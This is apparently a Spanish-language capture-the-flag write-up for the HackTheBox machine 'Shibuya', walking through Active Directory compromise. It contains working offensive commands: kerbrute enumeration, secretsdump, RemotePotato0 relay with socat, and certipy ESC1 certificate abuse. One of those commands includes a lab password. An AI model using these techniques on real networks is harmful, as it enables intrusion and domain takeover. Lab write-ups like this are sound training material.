Shibuya HTB Write Up¶

1. Información del objetivo¶
IP de la máquina: 10.129.130.75
Dominio: shibuya.vl
2. Reconocimiento inicial¶
2.1 Escaneo de puertos¶
sudo nmap -sS -p- -n -vvv -Pn --open 10.129.130.75 -oG allPorts
extractPorts allPorts
nmap -sCV -p22,53,88,135,139,445,464,593,3268,3269,3389,9389,49664,49669,51244,55993,57003,57014,57019 10.129.130.75 -oN targeted
Y este es el resultado.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-09-08 20:07:21Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: SHIBUYA
| NetBIOS_Domain_Name: SHIBUYA
| NetBIOS_Computer_Name: AWSJPDC0522
| DNS_Domain_Name: shibuya.vl
| DNS_Computer_Name: AWSJPDC0522.shibuya.vl
| DNS_Tree_Name: shibuya.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-09-08T20:08:09+00:00
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Not valid before: 2025-09-07T20:03:55
|_Not valid after: 2026-03-09T20:03:55
|_ssl-date: 2025-09-08T20:08:49+00:00; -1s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
51244/tcp open msrpc Microsoft Windows RPC
55993/tcp open msrpc Microsoft Windows RPC
57003/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
57014/tcp open msrpc Microsoft Windows RPC
57019/tcp open msrpc Microsoft Windows RPC
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-09-08T20:08:13
|_ start_date: N/A
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
3. Enumeración SMB y Kerberos¶
Primeramente he enumerado con samba si puedo acceder de forma anonima, pero el usuario guest no esta habilitado.
smbmap -H 10.129.130.75 -u guest -p ''
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[!] Access denied on 10.129.130.75, no fun for you...
[*] Closed 1 connections
Por lo tanto me he puesto a enumerar usuarios con kerbrute y he sacado dos usuarios.
kerbrute userenum /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -d shibuya.vl --dc 10.129.130.75
2025/09/08 22:11:04 > [+] VALID USERNAME: purple@shibuya.vl
2025/09/08 22:11:05 > [+] VALID USERNAME: red@shibuya.vl
Después de probar varios ataques con estos usuarios voy a hacer fuerza bruta en el protocolo smb + kerberos.
4. Ataque SMB + Kerberos¶

Con estas credenciales validas podemos enumerar mas usuarios con el parámetro --users
Esto nos va a devolver muchos usuarios, pero hay un usuario en concreto que tiene unas credenciales en su descripción.
5. Acceso a recursos compartidos SMB¶
Con este usuario he listado recursos compartidos.

Con el siguiente comando he entrado al recurso compartido y me he descargado todos los archivos que habian.
Una vez tenemos los .wim en nuestro sistema he comprobado que tipo de archivo era y con wimextract podemos extraer el contenido de dentro.
En este caso nos ha dado una SAM y un SYSTEM.

6. Obtención de hashes¶
Con esto podemos hacer impacket-secretsdump y sacar hashes.

Con esto voy a guardarme una lista con los hashes y voy a probar con los usuarios que tengo ahí y ver si uno de ellos funciona.
Y tenemos un resultado.

Como hemos visto en el principio hay un recurso compartido que son los usuarios, si el usuario Simon.Watson esta podemos usarlo para subir nuestra clave publica y conectarnos por ssh.

7. Acceso vía SSH¶
A continuación vamos a ver si ha funcionado. Y bingo, estamos dentro.

La flag del usuario puede encontrarse en: C:\Users\simon.watson\Desktop
8. Pivoting y BloodHound¶
A continuación he salido del ssh y me he vuelto a conectar pero usando de esta manera.
De esta manera puedo usar proxychains para montarme el Bloodhound.
Si vemos el Bloodhound podemos ver esta query. Aquí podemos ver los usuarios que forman parte del ssh.

También investigando encontré la siguiente query. Sabiendo que ambos usuarios están en el grupo Remote Desktop Users si un usuario tiene la sesión iniciada podemos hacer un ataque que se conoce como Cross-Session Relay Attack.

9. Cross-Session Relay Attack¶
Así que volvemos al ssh y me he pasado el RunasCs.exe para ver si alguno de estos usuarios tiene una sesión abierta he ejecutado el siguiente comando abusando de RunasCs.exe

Podemos ver que el usuario nigel.mills tiene una sesión abierta.
A continuación mediante RemotePotato0 voy a conseguir el NTLM hash de Nigel.
Si hacemos una pequeña ejecución nos pide que usemos socat en nuestra maquina atacante.

sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
Como que estamos usando socks con el parametro -D 1080 tenemos que ejecutar el socat
de la siguiente manera.
sudo proxychains socat -v TCP-LISTEN:135,fork,reuseaddr TCP:127.0.0.1:9999
Y ahora el RemotePotato0 lo tendriamos que usar de la siguiente manera.
.\RemotePotato0.exe -m 2 -r 10.10.14.84 -x 10.10.14.84 -p 9999 -s 1


A continuación me he guardado el hash y usando hashcat he crackeado el NetNTLMv2.
Así que me conecto por ssh y voy a usar SharpHound.exe para enumerar posibles certificados vulnerables etc…
Y lo ejecuto.
10. Escalada con Certificados (ADCS)¶
Una vez ha terminado me lo puedo descargar en mi maquina local de esta manera.
Y subo esta nueva captura de Bloodhound.
Como podemos observar si ejecuto una query custom para ver los “Enrollment rights on published ESC1 certificate templates”

Nigel esta en el grupo T1_Admins por lo tanto podemos solicitar ese certificado vulnerable. Si lo aplicamos a la practica usando certipy podremos ver lo mismo.
Usando el siguiente comando.

Y tiene tres certificados, en este caso voy a abusar de ESC1 ya que es el mas sencillo de abusar.
En este caso si nos fijamos dentro del grupo de Domain Admins el usuario es _admin.

Sabiendo esta información ya podemos abusar del ESC1.
ESC1
proxychains4 certipy req -u 'Nigel.Mills' -p 'Sail2Boat3' -dc-ip 127.0.0.1 -ca 'shibuya-AWSJPDC0522-CA' -target-ip 127.0.0.1 -template 'ShibuyaWeb' -upn '_admin@shibuya.vl' -sid S-1-5-21-87560095-894484815-3652015022-500 -key-size 4096
proxychains4 certipy auth -pfx _admin.pfx -username '_admin' -domain 'shibuya.vl' -dc-ip 127.0.0.1

11. Compromiso de Domain Admin¶
Una vez hemos obtenido el hash podemos usarlo para autenticarnos mediante winrm y comprometer el DC de esta maquina.

La flag de root puede encontrarse en: C:\Users\Administrator\Desktop
Autor: Astro